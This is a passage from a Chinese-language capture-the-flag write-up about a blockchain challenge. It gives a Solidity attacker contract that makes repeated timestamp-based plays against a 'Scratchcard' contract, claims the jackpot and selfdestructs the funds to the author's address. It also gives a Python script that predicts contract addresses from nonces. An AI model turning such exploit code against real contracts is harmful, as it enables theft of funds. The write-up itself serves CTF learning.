- 注意因?yàn)檎{(diào)用ctf_challenge_add_authorized_sender也會增加一次交易骇塘,需要計算的是+2的子合約伊履。
攻擊合約代碼
contract Attacker{
constructor() public payable {
Scratchcard target = Scratchcard(0xb53df9b5d0314fcf511bee5e3893649a83d7c5a9);
for(uint i=0;i<25;i++)
target.play.value((now%10**8)*10**10)();
target.collectMegaJackpot(3.5 ether);
}
function () public payable{}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}
}
計算子合約地址的代碼再貼一貼
rom ethereum import utils
def getSon(Father,nonce):
sha3_res = utils.mk_contract_address(Father,nonce)
sha3_res_de = utils.decode_addr(sha3_res)
#print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
return(sha3_res_de)
def FindNonce(Father,Son):
MaxNonce = 100000
for nonce in range(MaxNonce):
res = getSon(Father,nonce)
if int(res,16)==Son:
print('[+]the correct nonceis :%s'%(nonce))
return(int(nonce))
developer= 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6
rainfund = 0xb3dedbe46f78032b9d7032ab5d7cf6c84e818c05
nonce = FindNonce(developer,rainfund)
print(nonce,getSon(developer,nonce),'start to predict',getSon(developer,nonce+1),getSon(developer,nonce+2))
攻擊成功比攻擊不成功帶給我的打擊更大……